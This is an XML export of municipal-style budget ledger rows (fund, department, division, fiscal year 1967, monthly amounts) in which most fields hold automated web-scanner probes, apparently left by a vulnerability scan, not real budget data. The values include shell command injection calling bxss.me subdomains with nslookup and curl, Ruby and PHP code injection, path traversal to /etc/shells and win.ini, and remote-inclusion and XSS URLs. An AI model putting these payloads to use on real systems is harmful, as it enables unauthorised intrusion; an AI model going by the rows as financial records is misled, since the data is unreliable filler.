<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU&amp;n968477=v946777</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>'A'.concat(70-3).concat(22*4).concat(102).concat(73).concat(104).concat(79)+(require'socket'
Socket.gethostbyname('hitmu'+'atulbtbvbf73e.bxss.me.')[3].to_s)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${@print(md5(31337))}</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>';print(md5(31337));$a='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>bxss.me</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>c:/windows/win.ini</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>bxss.me/t/xss.html?%00</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>../../../../../../../../../../../../../../etc/shells</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>HttP://bxss.me/t/xss.html?%00</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>`(nslookup -q=cname hittjnvirzpnv15b70.bxss.me||curl hittjnvirzpnv15b70.bxss.me)`</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>HttP://bxss.me/t/xss.html?%00</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${@print(md5(31337))}\</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hithragtwemdz43b5e.bxss.me||curl${IFS}hithragtwemdz43b5e.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hithragtwemdz43b5e.bxss.me||curl${IFS}hithragtwemdz43b5e.bxss.me)&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${@print(md5(31337))}</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|(nslookup${IFS}-q${IFS}cname${IFS}hitkrsiotlpdla4074.bxss.me||curl${IFS}hitkrsiotlpdla4074.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>";print(md5(31337));$a="</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|(nslookup -q=cname hitpqxdyfdmpg26681.bxss.me||curl hitpqxdyfdmpg26681.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>bxss.me/t/xss.html?%00</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;(nslookup -q=cname hitwnvorlizuif6757.bxss.me||curl hitwnvorlizuif6757.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitwnvorlizuif6757.bxss.me||curl hitwnvorlizuif6757.bxss.me)&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>HttP://bxss.me/t/xss.html?%00</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;echo amyjiw$()\ yhaeym\nz^xyu||a #' &amp;echo amyjiw$()\ yhaeym\nz^xyu||a #|" &amp;echo amyjiw$()\ yhaeym\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>HttP://bxss.me/t/xss.html?%00</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'A'.concat(70-3).concat(22*4).concat(120).concat(80).concat(117).concat(73)+(require'socket'
Socket.gethostbyname('hitcf'+'csmjquyofcf1b.bxss.me.')[3].to_s)</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>'+'A'.concat(70-3).concat(22*4).concat(110).concat(70).concat(107).concat(67)+(require'socket'
Socket.gethostbyname('hitfo'+'gdzgpssb8dd38.bxss.me.')[3].to_s)+'</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>"+"A".concat(70-3).concat(22*4).concat(97).concat(81).concat(113).concat(71)+(require"socket"
Socket.gethostbyname("hitht"+"wokmxlru2aafb.bxss.me.")[3].to_s)+"</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>http://bxss.me/t/fit.txt%3F.jpg</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>$(nslookup -q=cname hituppovycpttf2b7f.bxss.me||curl hituppovycpttf2b7f.bxss.me)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'+'A'.concat(70-3).concat(22*4).concat(103).concat(70).concat(113).concat(74)+(require'socket'
Socket.gethostbyname('hitzq'+'smeccruc0810a.bxss.me.')[3].to_s)+'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(nslookup -q=cname hitwdlscurqho8b876.bxss.me||curl hitwdlscurqho8b876.bxss.me))</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>"+"A".concat(70-3).concat(22*4).concat(113).concat(71).concat(117).concat(67)+(require"socket"
Socket.gethostbyname("hitwf"+"vdlrmxqz57137.bxss.me.")[3].to_s)+"</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>expr 9000737100 - 934666</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>|echo zmtoip$()\ ihqnwv\nz^xyu||a #' |echo zmtoip$()\ ihqnwv\nz^xyu||a #|" |echo zmtoip$()\ ihqnwv\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>echo ygczxo$()\ xepgmt\nz^xyu||a #' &amp;echo ygczxo$()\ xepgmt\nz^xyu||a #|" &amp;echo ygczxo$()\ xepgmt\nz^xyu||a #</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>bxss.me/t/xss.html?%00</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>Http://bxss.me/t/fit.txt</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>bxss.me</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>HttP://bxss.me/t/xss.html?%00</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>${@print(md5(31337))}\</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>../../../../../../../../../../../../../../etc/shells</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>";print(md5(31337));$a="</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
